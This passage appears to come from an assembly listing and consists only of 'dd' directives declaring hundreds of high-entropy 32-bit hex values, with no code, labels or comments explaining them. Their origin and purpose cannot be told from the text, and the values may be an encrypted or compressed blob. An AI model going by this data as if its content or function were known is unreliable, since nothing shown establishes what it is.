7A7B87EFh, 2BC33419h, 21803908h dd 9B642106h, 0F4007BB2h, 8AC78F59h, 187207EDh, 28402739h dd 0F030DEA3h, 71311953h, 5494F8EAh, 8263480h, 2287F464h dd 500B1CEh, 10AA641Eh, 84F1A0FDh, 0E2CE3C58h, 0DA21EA80h dd 1D28DF71h, 18F7171Dh, 0E84F111Ah, 0F8016B07h, 0F01344F2h dd 680830EAh, 6B902A21h, 2102F1ECh, 0B7E1CE0Bh, 204C8FA3h dd 0FF5939F4h, 6C3C3278h, 223090B8h, 87F01164h, 803B8882h dd 0B641AC9h, 0EC175E78h, 0D9048E21h, 79861125h, 97C102C9h dd 0FA9F1CA2h, 6BED5C90h, 9A21F8F2h, 669154h, 3C6B9535h dd 0E6D0D5C1h, 15530347h, 26B34388h, 709CB010h, 0E8219123h dd 0DD603FE4h, 0A3F3AF2h, 0AA9080BFh, 68F0B844h, 0D1FE038Bh dd 6B8D1FBEh, 52428900h, 0E6C2E15Eh, 0B12B00CFh, 0A72A0305h dd 70EAA0B7h, 6EA28D3h, 6908D201h, 31438D3Eh, 6A24A832h dd 63C8DC4Eh, 604DCFC0h, 0F90F003Ah, 21B183F0h, 0DE1DD63Ch dd 183E9C5h, 9B206DC6h, 11390009h, 7BD48026h, 7A709CC1h dd 0EBC86650h, 5293E20h, 97F628DDh, 7FD043A3h, 0ABD581EEh dd 266BB701h, 52D164E5h, 0F6E12180h, 706C281h, 48098A72h dd 85DBEB6h, 4674C04Ch, 53007639h, 0FD913B86h, 6F8275F6h dd 0F74F210Ch, 0ED254640h, 0D4006EE6h, 2CD253BAh, 5228DCAEh dd 0F3015CF5h, 0ED3E2D81h, 88500C64h, 8100FBE4h, 3606A30Eh dd 2AA09F6h, 4DBE2434h, 0DCA37754h, 3EA59AF1h, 7AE238Ch dd 0E9C99BDh, 0C00600FFh, 67A1938Ah, 0D5C85A54h, 73102D00h dd 0AAD63390h, 7BFCE1h, 53CD26C6h, 0BF69CF81h, 58F0B20Eh dd 0C5C30039h, 0C16167EFh, 620A4E41h, 1FB88060h, 693C08D9h dd 14F64D11h, 580684h, 713BB58Dh, 10F35011h, 4AA6103Eh dd 0EB490477h, 4C875BC9h, 0C42E22A0h, 68DEE2A5h, 91B44169h dd 81C29DF0h, 31E53E26h, 0F8DF1052h, 3E070E81h, 2601E120h dd 9375A6CEh, 5C427050h, 9F92EC11h, 80AA91B4h, 752AE38Ch dd 0D3D90063h, 2C6A9BEFh, 0B34CD0D7h, 220205BCh, 941D4586h dd 57204182h, 48D0682Ch, 0EDAE00FBh, 0AB4BCBA1h, 8CC03A9h dd 1E9212Dh, 6D93AEEFh, 0C42FC5B8h, 77E2862Ch, 0BF3B8D0Ah dd 480A9844h, 0A1036CD6h, 643A35DBh, 60F9D018h, 212981EFh dd 0E0C00D3Eh, 381F7h, 9014A9FEh, 1DCBFA54h, 0B6A1DB04h dd 4169C8Ch, 0C2B09442h, 0EA30F51Ch, 0F8FF116Bh, 825A88C2h dd 0E6B922Ch, 33532441h, 3038A2E8h, 5E79172Dh, 4225B300h dd 55DE05A1h, 907D13h, 58C54B6Ch, 3965FF9Ah, 8F989700h dd 0ABE0E538h, 2A2403F6h, 0ECC10C05h, 830FC9Bh, 0EF49219Fh dd 0A2650124h, 2D40D23h, 0E479E493h, 8B0340h, 0B255F174h dd 0C273C7FDh, 66EFBE0Ch, 1EFF418Dh, 147B6EF9h, 9223405Fh dd 2B24F701h, 9818E405h, 24E84889h, 63CC1B7Dh, 55E070EDh dd 62005839h, 13C53681h, 10F725h, 852BEBDFh, 0E3D7E5E2h dd 58A13D60h, 355A59Eh, 97CCA880h, 830A1BBh, 96FB2133h dd 0C9CA01A5h, 0EB31B253h, 0CF05C079h, 50C3DA1Ch, 0DD6BCE03h dd 6CC0145Eh, 30AC30E3h, 5DDF008Ch, 8224401Dh, 0A200A8B9h dd 32F9EEF7h, 1C140D95h, 547F99FBh, 3A716401h, 84549F25h dd 7C0F58C3h, 0E6DEB501h, 0EE626F80h, 1EE588A0h, 0D75F18Ch dd 52C011C0h, 267F9F7Ah, 19605D70h, 80920848h, 7A5B2121h dd 0C9AFB54h, 0ADCF6187h dd 19187F90h, 0E880EC0Bh, 30B7EA6Eh, 5669E660h, 0B4049FA7h dd 0D76AB114h, 0E352CE81h, 80ED8191h, 7FA37A56h, 0EB448C50h dd 7A5F0E25h, 15E046F4h, 2787230Eh, 6A06397Ah, 215B08B8h dd 390C458h, 8EA818C4h, 0EE1800DEh, 9E13BF49h, 78320E97h dd 30EA80E1h, 0A2117A55h, 0EE88587Fh, 7A5E2680h, 1DE3F08h dd 86441E78h, 0A8E10EA8h, 1A3A6F21h, 27F287F1h, 28A51095h dd 0FBE2E840h, 4C7F9478h, 66002046h, 24AAF79Ah, 5564B0BBh dd 60889FB8h, 0F4702F1h, 0EE78AE9Bh, 0A8A56460h, 0ECBA4F00h dd 6AA62025h, 667F00CBh, 5CE09339h, 0B8AAEB61h, 0F3CF6C40h dd 0A8246E03h, 302C663Ch, 0A621D208h, 2F1DCED7h, 8FCAC6B4h dd 990F94D6h, 18838951h, 3F6B6930h, 0FF1FA840h, 0F53A8904h dd 55786C00h, 0C231AF05h, 656311DFh, 94231433h, 2D24F501h dd 9518F405h, 0EA4E88h, 5EAA1624h, 0D71ACD7Bh, 0A8FE0E2Ah dd 0D836B73Dh, 0F53702B6h, 0D77AA4CAh, 0D209D0Ch, 2BE5D1C7h dd 55736767h, 883A856Ch, 0FF00E323h, 0F31296D9h, 0D703DFEh dd 0E0E50219h, 0E8F05015h, 3B6C0E62h, 8C90E8B8h, 2924F904h dd 93621405h, 24EE4A20h, 0A4690904h, 8498865Dh, 3107A99Bh dd 1F4F917h, 600D9073h, 0E7187E71h, 64011BBDh, 117D98F1h dd 5832D1DFh, 9D01D023h, 0A08054A5h, 0F8883718h, 0BAA50095h dd 57226866h, 6B50B1EEh, 0E700BFB9h, 7DB39A54h, 0C1E81331h dd 0E004BB60h, 9F88938Ch, 3689EC20h, 0C91707CAh, 0F0B84A2Fh dd 7E8053C3h, 3C600F00h, 7D5C9CDAh, 0CB8F3039h, 0F91C0548h dd 89DD0837h, 99F4B191h, 1C653420h, 2616B431h, 6CE80658h dd 0E43069BEh, 0EBD0313Eh, 0B24E039Eh, 392198BDh, 0F0341856h dd 0FCED4310h, 407E0F03h, 6B236327h, 0E93FFF84h, 50690CE0h dd 690EC2E7h, 14041932h, 7A5061EFh, 9B60BD30h, 7ED1114h dd 0CC7A5923h, 0F13FFB10h, 1C5606D4h, 698A66E8h, 4AAF0409h dd 0D3003E6h, 8D3900FAh, 40BF867Eh, 0AD0068B1h, 7A8292Ah dd 2A804527h, 0F69CF359h, 58BF12CBh, 94781157h, 117C3824h dd 0CF28805Bh, 8C2C6EF0h, 1A5DC44h, 79FBCED0h, 302EF51Ch dd 8709C368h, 0A2984359h, 20D709ECh, 0F289C4BBh, 1003F6D2h dd 0FC64868Bh, 30D34482h, 5111A59Ah, 2C888880h, 0A592FF80h dd 504D93Eh, 0EF65189h, 0B8804E96h, 126AD620h, 300FE57h dd 0F4B75AA9h, 265E3Ch, 8F6247BBh, 0BC82EC2Bh, 0F8F94C6Ah dd 1D74674h, 5D6DF696h, 1980DB60h, 0D6AF8F7Ch, 8700DF0Bh dd 90774723h, 801476h, 0C83911D4h, 1378F9D8h, 789822EEh dd 9AD10491h, 0B1FC1218h, 82D72806h, 0C81E7BAh, 2AF9736Ch dd 0A93B5158h, 3F059095h, 66D68B00h, 5535C9F8h, 91D14891h dd 4127718h, 38309B06h, 3CE2426h, 9A48D771h, 0E2986875h dd 7D0AFAA8h, 0B0ECE060h, 2B605844h, 6E23F7CFh, 0FDE1104h dd 5DCED3A2h, 0CFE47883h, 0D06A8015h, 40CF6BBh, 834EC571h dd 380FAAFAh, 3001B22Bh, 17F9E5C8h, 9E8B9450h, 0EEE8C8F4h dd 0E97A51C3h, 0BC23787Fh, 7A5A2280h, 0E35CB3ADh, 3B290063h dd 0E963E6DFh, 0F7ACA033h, 0D194910Bh, 0A5D118D9h, 49900094h dd 91261709h, 661F511Ch, 0EF6B6AC0h, 125DD472h, 98E4CBAh dd 0FC094EA4h, 98115C1Fh, 3C4A880h, 0BC622B6Ah, 41CF7D50h dd 7B19D2BCh, 4980ACE0h, 2E88BCF0h, 0A580FE9Eh, 0F6BD51AFh dd 0F40F4D38h, 3980905Ch, 0BB640811h, 5A7FAE00h, 3CE4A73Dh dd 0F9025C7Dh, 39947338h, 0A62CA42Bh, 3DDC2992h, 0AA00984Ch dd 2CD59B40h, 850089A7h, 888A283Ah, 0AC0937h, 0B7946EE8h dd 89F75183h, 39C5C8DCh, 688FEB9Fh, 3C12C88h, 0C180E160h dd 6F628A9Fh, 11A7FCEh, 0A658EEBBh, 9B93DD8h, 90AECF06h dd 0E1B5BC82h, 609BC884h, 252E24F2h, 6C96EC05h, 24EB4D00h dd 0A1F7F1C9h, 0B01042Dh, 0C3A54B15h, 583CF92Ah, 3A19186Ch dd 9108E970h, 18D0D1A0h, 0BB610080h, 0B16C1E08h, 0F4BB0BE8h dd 0F4C01079h, 64060F6Ch, 8E928DEDh, 0C0EF88BCh, 8CD6D2AAh dd 722D103h, 24C16ED7h, 1278E8F0h, 7BF89063h, 3C050F24h dd 3E36175Fh, 4BD4FC8Ch, 47184495h, 86391FEBh, 0D5C308DFh dd 0C7B1310h, 0C8388BECh, 14B3C099h, 880A7372h, 740A8E6Ah dd 0EE475Ch, 7E24888Fh, 9EA744Ah, 2FFD636Eh, 1D22CCA0h dd 0B8076A28h, 25D3DB77h, 0E703F981h, 64088055h, 0A59CC0D5h dd 98468057h, 0FD003422h, 0AC73A594h, 4B07105h, 3ACB5E90h dd 96D4B4D3h, 7B0F2900h, 7730DDE4h, 6094A2E6h, 6009F903h dd 6183794Bh, 0B0A1AE0Bh, 9273C002h, 18935EF8h, 0F5CF2D00h dd 99B7D46Eh, 0D5A460DCh, 0C60752CEh, 0AB194F80h, 0CAB70701h dd 85028428h, 0D3CF317Dh, 86B1DCA4h, 70B70F8h, 24258F6Dh dd 2E3505CCh, 0D1237Ch, 10F78533h, 68CBC023h, 0A5B8141Bh dd 6195C4D8h, 5E807618h, 0E80D87DDh, 21C28E7Eh, 409CF759h dd 80DA8F48h, 1C902425h, 5319E846h, 6348287Ah, 5C20803Ch dd 0BE67Ah, 1E715284h, 67EF8879h, 82698067h, 0E89010D9h dd 8938947Ah, 42005E4h, 0DBA70AF4h, 0D0E3301Ch, 21835CFh dd 1ED4CB1h, 0A0F56709h, 3344C471h, 0B8345363h, 6F30E3F2h dd 366200D0h, 50C35C8h, 914DA187h, 7A00364h, 3CE1AACFh dd 7000A511h, 0F9EB6786h, 918A1E0h, 9188D257h, 5DFB0F73h dd 0BD0B5180h, 8ECC5424h, 0C0378888h, 0E893104Fh, 2D31BA00h dd 87FEB54Ah, 0F4FB0167h, 0CB08E786h, 0BB7883DFh, 2A8F8CBAh dd 1B905070h, 51EC08F9h, 1D68023h, 8056A5A3h, 81946390h dd 1CA59BFAh, 0B441CFD5h, 9900C7DBh, 69D38361h, 94C81C8Bh dd 0FEE00AC7h, 17D0986h, 0FF5371D6h, 88DB8308h, 6A8CB161h dd 91465C40h, 0D4944C58h, 0DD773908h, 86661E01h, 0D7F07BCDh dd 501AE406h, 0B98E8F0h, 0D6CB1989h, 3211C01Fh, 0C6DA1B80h dd 68715708h, 481CB432h, 0A59830D1h, 0F8805311h, 0C1813188h dd 1F77A590h, 0BFD49EF1h, 2CEF59BDh, 9F64903h, 0E905EC6Ch dd 0E26B3202h, 0ED23C03Ah, 197E0C00h, 23D84C7h, 6BCE10D4h dd 0CE45D99h, 0CF59E20h, 309D4BC4h, 0D6126918h, 0F49BDFFCh dd 0FD60B88Eh, 710D0213h, 148C842Eh, 13FF3208h, 23D02F93h dd 0C9490AD2h, 0D09B0BF0h, 34645C67h, 0D01BBE61h, 180365D8h dd 63F5F45Eh, 4B6948D5h, 0EC6D1200h, 0C2697440h, 2EB30400h dd 26351110h, 44493A20h, 0E4E8598Fh, 6B1559D8h, 19A95F00h dd 3107982Fh, 32960479h, 0A0C8B985h, 0AE049F84h, 66897F91h dd 0BAB0A0F6h, 504E82Bh, 137B0728h, 0B2980C89h, 81AB8909h dd 5A654500h, 60B5484Fh, 579702A8h, 6605F336h, 12C0F8EDh dd 4281EF8h, 0C14F4508h, 8E8CC172h, 636A00DFh, 3B5A5EB5h dd 19A2394h, 0A218304Ah, 6453C1DFh, 51148344h, 99C8ACBh dd 488682D0h, 39E6B874h, 7F8E87CEh, 4BC25C88h, 40892D7Dh dd 0DDC304CDh, 206380A7h, 7A922D58h, 63EBD0A4h, 7F9DE854h dd 93448C40h, 0B07AF627h, 0BF010B7Ch, 0C849AB7Bh, 929185Ah dd 346EF9CFh, 0A0805C45h, 338CCED1h, 99321EF9h, 3A89536Bh dd 1C2F23E4h, 7DEFCB26h, 195BB810h, 164F8703h, 58E30D0Bh dd 2F2F5DB9h, 0E8EB9160h, 0F155F712h, 3C056302h, 7054F3C1h dd 8800F92Fh, 0BB63B243h, 7ECF92h, 6403F33h, 0AB598386h dd 80F8944Ch, 0DB2B009h, 4DC51279h, 41CC0F3h, 0C248E6D7h dd 736E0434h, 0F2013E9Dh dd 25F896AFh, 92D46840h, 9823543Ah, 0E8C22E3Ah, 98EC408h dd 0ECEDDF89h, 661F40C1h, 0BC0263F4h, 8CE3670Ch, 0EC01D129h dd 71913BF1h, 0DFDBF8BBh, 216C8307h, 4B6E1338h, 6CC04125h dd 7C730EF6h, 0E4982968h, 0AB85006h, 0EE18004Eh, 66F9F3D7h dd 3D62E94Bh, 0E801DB38h, 407BBEBCh, 6B386CE7h, 8A944851h dd 0F3C09496h, 4C052F24h, 4CE040C4h, 0CC0024E8h, 8C6463FFh dd 28BA025Eh, 598A5F4h, 0E49D0D2Ah, 88C4CFE7h, 1D9AC0D9h dd 365C8610h, 0F2EA009Ch, 7587B76Ch, 0F06334EFh, 10F06F89h dd 410F774h, 10A07FABh, 0DE009D3Fh, 0A9C22A80h, 58BB8Dh dd 7F431628h, 0AD513AE3h, 5B055D00h, 53297782h, 51E0E2BAh dd 0B001BCDFh, 406CF7BCh, 8CDAF8h, 4589F8B4h, 1FBC4E0Ah dd 2A2B102h, 401D3633h, 74B4D66Eh, 0F0D3030Eh, 0D4606CEDh dd 0CD3F4100h, 0ACD9EE5Eh, 0A28C00E6h, 0F5E10ABDh, 0CF1EDE74h dd 47E5680Eh, 60EF6474h, 3203B90h, 6A4AEE9Dh, 2CA07E82h dd 0EF040A87h, 54E5BFCAh, 0ECD770C5h, 411549D0h, 49D46B0Dh dd 0B180E437h, 6EEB7992h, 7C2CED63h, 0B6743842h, 0DA467C7Ch dd 0FAB17B00h, 7AA36986h, 66B6F809h, 60D88B7Fh, 1398E8D8h dd 0C2F7117Bh, 0B9E309A0h, 0DA67A100h, 745104F2h, 8018B961h dd 0B86DCA4h, 2F0046B0h, 0BC4AF431h, 9B58CAh, 69D2E98Dh dd 532BD3D7h, 0C566F605h, 4D596F2h, 9F23C42Fh, 93784D00h dd 0F5E8B2Eh, 332F2957h, 675FB040h, 0AD01691Fh, 0F9E07DFAh dd 9850C617h, 78D6C1Eh, 0DE5AAFF3h, 581D0950h, 9B80E311h dd 0B47D7005h, 729E203h, 0CD9C2D7h, 0BF95550h, 0E83C8BA9h dd 0E69C540Eh, 5CF37700h, 0FEFFAB50h, 11603BDCh, 55D9A0F8h dd 12905B9Fh, 0F274B2F4h, 5D813099h, 0E1B5CF02h, 0C80AD706h dd 0B930070Ch, 1890D178h, 44CA0032h, 0AF40B1A5h, 50041A81h dd 0A9F35180h, 7D8C0C80h, 5C40B6E3h, 773246h, 5884779Bh dd 8798860Fh, 0F08D79C7h, 214695C0h, 1E940311h, 32297CF9h dd 4CCCD6E8h, 0A9B70614h, 8C99B868h, 85B4DB0Eh, 5B592473h dd 0D235A882h, 5EA4B44Ch, 230E2F46h, 668A6C0Fh, 93465ED8h dd 0D4D17902h, 20408D6Eh, 2680E17Eh, 2F884A98h, 2C23E8h dd 7361D753h, 87054FC1h, 1D25EEB1h, 9188E0CEh, 11A0C7C0h dd 0D05404B6h, 0AD610659h, 532A04B4h, 7384B8E9h, 1015CDC3h dd 1F9416C0h, 3DD67378h, 5F00B07Bh, 5509DC9Fh, 154A8705h dd 0E08DB016h, 0BC6E2Ah, 81483C4Eh, 2FCF06D0h, 19C4D2h dd 0BF01895h, 0FC052824h, 31B0A81Ch, 0F5BD2402h, 0D854B985h dd 7C821F68h, 34486761h, 3B00F945h, 60D79E92h, 2AA73EEh dd 8DFC081h, 0AC60CDBFh, 374B01F6h, 9F23842Fh, 8575BB01h dd 0BACC3103h, 0E4BF2458h, 80F94008h, 840002A5h, 0FBE8A306h dd 0EC1E6F98h, 5B950012h, 463AFFB5h, 0EC2EB980h, 0E4A06086h dd 77F9BA20h, 0BD830B39h, 3411E61Bh, 52E185Dh, 0DC6EF2CFh dd 68CBB7h, 89CED6ABh, 0BEDE4Bh, 8DB3265h, 5D736CA8h, 82E40650h dd 0F51DCE05h, 88412730h, 908F5983h, 2EA4987Ch, 9023D0h dd 0C2A29FCBh, 2F1CEDF6h, 63480A41h, 4B083E8h, 0D4005085h dd 0ABD072BAh, 47343EFh, 0EECF07A5h, 9C88CDDh, 17EC685Dh dd 2C85B3E5h, 0EF23AC3Ah, 99C04C00h, 1291F7BAh, 0F69270A6h dd 9803B054h, 0B0440057h, 0B86A5B22h, 4894E910h, 3447C53Ah dd 0F00ACBE4h, 0C130DEE0h, 6B861654h, 13281EBAh, 808305CCh dd 0A2885226h, 0E1DB03DCh, 0CFE04813h, 5480BE30h, 0E3C11D86h dd 0BCF3C29Ah, 68F2D049h, 95B16C22h, 0F0006437h, 0EF4B4ECh dd 18C188E3h, 2E0204F6h, 62EF73B7h, 47204A78h, 60984444h dd 0FF6041F5h, 6607B180h, 0DFB66EAAh, 87AB8304h, 98F2D564h dd 79A4E300h, 60F940FAh, 0E462A800h, 6B7F1918h, 9B430130h dd 0E83CCDB2h, 0D3E4286Ch, 94C8148Ah, 7BBA20CEh, 90B4FBB2h dd 0F8275498h, 0B7192F89h, 0B845080Bh, 0C6031E4h, 0AE09BE72h dd 0A17ECF05h, 662D7DE8h, 0B46B2Fh, 5C7D56A9h, 2A6CC235h dd 0D49C0Dh, 31ED0632h, 8748CEADh, 0E1B9750Fh, 0CD2B237Eh dd 68AE98C1h, 0CEDD2960h, 18307164h, 42E40004h, 73D9F372h dd 0C50C12C0h, 8083FC3Ah, 0DE2EB0F9h, 0E7694B31h, 39504C48h dd 96F11891h, 3013918h, 0DF872BCAh, 41C22D62h, 58E00ECCh dd 0A06F5806h, 7821078Eh, 97A866EFh, 4421E341h, 0B3D87397h dd 88DD4EDCh, 650344B8h, 0AD16CDA6h, 2B5CE049h, 76CF24Ch dd 393D3F02h, 729706Bh, 0A826737Dh, 465E9866h, 0D8FF0093h dd 4D7720Dh, 9C1924BFh, 63200200h, 0D8612C29h, 96C7C892h dd 465EC0BEh, 0A0730293h, 8281F5F0h, 0A0900C80h, 3706CA88h dd 6C8300D7h, 0E77506Dh, 3B078FD1h, 0FAB0FB22h, 4E8B490Ch dd 0BFF038F6h, 68B0C255h, 8CDABCA8h, 7BE843A3h, 7F0193BFh dd 0F9C75844h, 63DD8E3Ah, 0D7BC3840h, 9DA5E76h, 44E8614Ch dd 275CFF2h, 95CB54B9h, 809F910Ch, 0B170F220h, 0D9C50721h dd 448356BCh, 0C024FC78h, 0F99EC749h, 0B70900FAh, 0F8F0687Fh dd 86019106h, 0B2225628h, 0C07CA718h, 0F1933913h, 0BCA03C84h dd 0F7008C37h, 0DC6B7318h, 3912D863h, 7BD4B8h, 4A95D583h dd 0FBF63BACh, 75D98213h, 0EFC8788Bh, 34F99BC0h, 0C079580Eh dd 0EE56D708h, 0C37E8500h, 6F98B203h, 8BF3D09Dh, 0C390C818h dd 999834E3h, 0C6004495h, 0BBBC0E70h, 9828577h, 3F9A3ACh dd 0D900C452h, 287D579Ah, 5D256B6Eh, 0BB2C5826h, 0E07C2661h dd 0ACF3782Dh, 3C03770Eh, 2F176093h, 0BB1844h, 0C688CE1h dd 0F105BF1Eh, 2B6A3B0Bh, 18D02180h, 0AC04C207h, 0B51F809Ch dd 2D29986h, 7BD183B1h, 0ECE40AF9h, 14F26328h, 0DFC77900h dd 0ED1AC0BCh, 38314CB4h, 0CB012958h, 0F3B28D63h, 2F2E99h dd 8239D723h, 7B0696F3h, 71DCD992h, 0C518D9h, 0FD37399Ah dd 0B17577AAh, 1D736E0Bh, 0D7B4E025h, 0CDF4046h, 1F8BEC2Dh dd 8E96116Ch, 0D37A005Eh, 6DAB8A4h, 8B070255h, 28417073h dd 403DBFC0h, 4B2F6CC6h, 1BD40495h, 21FE5482h, 0E054253Eh dd 0A6027B90h, 0F7245156h, 79FCD955h, 3EA418E8h, 6E04DDDEh dd 0BD3A05F9h, 507C3580h, 2EF2ACA2h, 9E2330h, 0D5FB6724h dd 18A4D7A2h, 5F59D0C4h, 88858204h, 0C1F83424h, 3C882E5Bh dd 0CAD40049h, 0BF013A24h, 0C0F99EF3h, 0FD0B7D87h, 9DE325BDh dd 80961148h, 0BB8AA21Eh, 13397960h, 13317D95h, 0EC24C4D2h dd 81AE8034h, 8AA43h, 0BCC9A84Eh, 0EE1302B8h, 6C1F4500h dd 0E0805388h, 0DC70B6CCh, 1EC0D904h, 10C58E6Ch, 0D2F2C0A2h dd 12B2E630h, 0C0CB397Eh, 88BA4B48h, 0D0528B5Eh, 37E06CA6h dd 0CD240B81h, 6440E4E3h, 21DF88h, 450C679Fh, 0B3E45B13h dd 0BA293F1Dh, 0FB7B3000h, 37B9807Ch, 0D580AAD4h, 5EF8E2F3h dd 0B73FF06Eh, 58901580h, 0D6C18603h, 0F174E4EBh, 46520BEh dd 22E66882h, 48D36655h, 0C8DFF759h, 30B14B73h, 0AF589A01h dd 16B7F556h, 71E89118h, 2DDE189Ah, 5C82C71Eh, 0D900CA93h dd 0BE4B75Ah, 83F20E4Bh, 939E18E5h, 330238A0h, 316727FFh dd 0E76840C8h, 30B4A297h, 76FCD48Dh, 4A00EE46h, 3F643CA2h dd 857AA912h, 0E4A00F73h, 3825EF67h, 644CE7E6h, 1F016033h dd 0CB4EC41h, 8466E80Eh, 0B80159E1h, 3FA7D12Fh, 1C7D2ACCh dd 849F2025h, 1E8F9411h, 0A8084AA0h, 0BA17BDC0h, 0FC88EB80h dd 9D3092CDh dd 7A094CB7h, 9B188732h, 86630C68h, 0EDEC2021h, 0CCC4615Ah dd 9023603Bh, 78794E02h, 0AE7B60EFh, 0DA330476h, 0F3E03A63h dd 30E3B26Ch, 0A6027249h, 680F145h, 81EFC1CBh, 97DDCC78h dd 21C2773h, 0F85CFEB7h, 2A605944h, 6E29F6CFh, 0A7C7943Ch dd 0A379CE50h, 0F71010FFh, 610908E7h, 680425FDh, 0CDD9403Fh dd 0BC304806h, 0E465B0h, 4F59FB4Ch, 0B4035FB9h, 9F93E947h dd 65758002h, 17567E51h, 91F9C15Dh, 1E4819Ch, 207A7585h dd 9C5C404Ch, 32C8A400h, 2F557681h, 742100FEh, 0E5E7BD28h dd 485E5CFAh, 62E8B431h, 0E4182C22h, 0F1CB912Dh, 0C3AD800h dd 31EE5CE7h, 0FA7B2Ah, 48BCF952h, 1CA3C0E9h, 0D085E80Bh dd 5014015Dh, 5C604B83h, 9DF202CDh, 551B9E77h, 0A7783C53h dd 751512F1h, 320F296h, 1B451287h, 683998EFh, 373F02A8h dd 0B1979C2Fh, 79E4DEC1h, 5C86E81Ch, 407E8857h, 38183B5Ah dd 0BB99950Dh, 2EF300C3h, 4DE2E492h, 54EE43D9h, 33325800h dd 841A6CF6h, 9D6B186Dh, 48514023h, 9C90B216h, 0B81F44D0h dd 38DA7999h, 0CC4FF9F5h, 0AA413CC0h, 587039F0h, 0DDBC9492h dd 0ACF4028Ch, 42751EA5h, 0C2400C54h, 4EEDBFBh, 7D2B8599h dd 4BE4FCF6h, 6710182Fh, 75EC139h, 9C2446CFh, 78910Dh dd 0BDBA3417h, 83007894h, 30459354h, 0B2AD6B6Eh, 1F510B28h dd 5C1D8670h, 42839511h, 7AF8A94Ch, 7C0546A8h, 0EF63D3DDh dd 7710BDh, 588E90AFh, 0ABE51BBFh, 0C32D3B1Ch, 0A1AA4ECFh dd 9BE95C29h, 121E6120h, 93CD4B8h, 5C6D1554h, 7630C3C0h dd 598A02E7h, 171E8288h, 95EB147Ch, 82929150h, 0E1318535h dd 0D4208A98h, 609041B6h, 38243CA0h, 4839247Dh, 0A0A62F18h dd 0F0BA5AF8h, 0B5F47867h, 52F528A4h, 0C8B4E413h, 99660B1Eh dd 0C58A6AEh, 554B7B5h, 0E23E820Fh, 7D061204h, 0DDC848CBh dd 607454C0h, 866D0502h, 0B8E5204Ah, 7AC09E5Ch, 2E0F2C2Ah dd 5E765Dh, 52BEF6F9h, 9BC8CD8Ch, 0B8066E0Fh, 97829B1h dd 0C780CD68h, 6E13B178h, 5A6C206Ah, 4BE0DD41h, 813F4F69h dd 3E0A8E34h, 0EB236C2Fh, 8A7D0D07h, 0A8A5A190h, 3C480427h dd 857FD183h, 88348E60h, 2E9AC034h, 600508Dh, 0C9079FE7h dd 4F6CB983h, 0C32C44ACh, 0E8F00136h, 486BFC49h, 83832384h dd 3C84D351h, 0CF5B4F30h, 0C0948880h, 20E8B7F8h, 60CCE112h dd 67FC820h, 0BEB001D6h, 0F4B7B2C8h, 8819C04Bh, 0F9A7EA0Eh dd 0B8CE7264h, 0D2C03388h, 23277CFh, 7B6E236Fh, 0D48536C9h dd 3A30E0B6h, 28AF8488h, 0B6E8CC0Ah, 3FB4240Ch, 0FCB4BC20h dd 6421C44h, 8CCA56CFh, 0E5E96CD4h, 609964DCh, 772A8322h dd 92D24CEh, 77828E24h, 0A07366EBh, 14D4F58h, 3BF3BF73h dd 0CEDDFDCEh, 53705873h, 0C2D4CE9h, 3BE7D710h, 0E9F82F57h dd 799F84A4h, 939B1E4h, 7807FCB8h, 0DE8090BFh, 0B76105AFh dd 0ADD12474h, 0A1780940h, 0F507A09h, 0B0610377h, 40B1983Ch dd 0B288FE0Ch, 2AB903EAh, 0CD095EE2h, 84C91ECAh, 6AD00793h dd 5ABF2FB8h, 0F24CAE9h, 5DD7FC70h, 0A55AF507h, 7EC32781h dd 0AA5B1180h, 9D0415B8h, 0FC57110Ch, 0C07308ACh, 0B8A2BD21h dd 2106263Ch, 75238E24h, 567B0118h, 2B637CF2h, 0C3E8CC03h dd 50E66201h, 0F0D87EA6h, 642ADCh, 5ED1EC1Ah, 5B5F77B8h dd 0F818B218h, 33157040h, 2F303E12h, 17766CF0h, 21EF08CCh dd 3E0A0034h, 0DFB7A70Ch, 6FB031D5h, 712D4080h, 815E4F00h dd 50B41760h, 4DBD0066h, 7EB88205h, 0E303FEA3h, 10074BF0h dd 0EC62E084h, 4418C06Ch, 5EDDA17Bh, 7AF568C0h, 33031B6h dd 0F14CB7E4h, 830BFDBh, 0AE1D2155h, 0D9390E31h, 0A4600ADDh dd 456504DEh, 249B7B29h, 2A31B801h, 5318A7E4h, 0B01788h dd 0D9BC5431h, 6C84360h, 63C9C414h, 0DEFC0A90h, 70BEBC7Dh dd 3B645538h, 0EFC06088h, 21A4AB5h, 8A3B0965h, 94A3F4F8h dd 6178E2FCh, 0F8F9C3Ch, 29B0BE9h, 0A0722309h, 9E2C5098h dd 48F703BAh, 30EF7F77h, 21690830h, 1E9E24ADh, 0AAC360h dd 35C69C19h, 2A897623h, 1E20ED0h, 2962A6E6h, 0F819D9FAh dd 2F07EC13h, 12CDF9A1h, 807DC541h, 1FFA091h, 8439DC53h dd 7FEC5CADh, 120F77F7h, 8B3808Eh, 0A7C02648h, 460414B8h dd 37422B5h, 49B89FBCh, 869056DAh, 8914F97Ch, 9EC4BD0h dd 4030638h, 1160B134h, 7E23A73Eh, 0E41127h, 403E0933h dd 3D3AB6C1h, 5C3081F8h, 0D5CCD951h, 189EF4A1h, 2B3108B9h dd 54C48FE4h, 31B11840h, 0FF0A3C7Ch, 0C491516Eh, 615C8A06h dd 81C33058h, 65F6E9D1h, 18B47B3Fh, 0DA4162DDh, 79CF00EAh dd 0DCB0A622h, 6D008F19h, 8B7FFB91h, 8870DBFCh, 0D0A87724h dd 0EB00A86Dh, 421E25CEh, 0BB3CF3h, 6EF09A8Ah, 0DEA612E6h dd 0CC06D0F1h, 4182C330h, 0B052D515h, 0EC531FD7h, 0A030D410h dd 1301AB23h, 177EA93Eh, 3588E218h, 0BE3E060Bh, 597FC65Dh dd 30CC43F9h, 4DF0ED4h, 64801748h, 9308F59Ah, 9E2B014Ch dd 1840F7B9h, 23AE885Ch, 0A0E79E00h, 0A2AB0E55h, 0B56B00FCh dd 6392DA8h, 0E418560Bh, 0A1B84C7Fh, 0F4AE24C6h, 0AD10322Ch dd 3E886493h, 7467EABh, 3700ED22h, 0B083E0Dh, 9FF3384h dd 74BCE87Fh, 0EC60648Fh, 779BA6E1h, 0C030FAB8h, 30FE185Dh dd 462898F2h, 31BA029Dh, 3197E42Ch, 0B219104Fh, 0C5230031h dd 45F7F0B9h, 0B7F00C0Fh, 0A1BC0609h, 65088351h, 5718262h dd 0F080197Bh, 7CC8D32Fh, 5648C999h, 0EC4448F8h, 39018C54h dd 7EE70A46h, 0CC46B1A6h, 747511C8h, 84C31561h, 0A75100E8h dd 77B5DD27h, 187AF6DCh, 29657875h, 6C60FF61h, 0AF8C8EA9h dd 20B89881h, 3A04830Ch, 5B7F75ADh, 0F39C1440h, 0EC261F69h dd 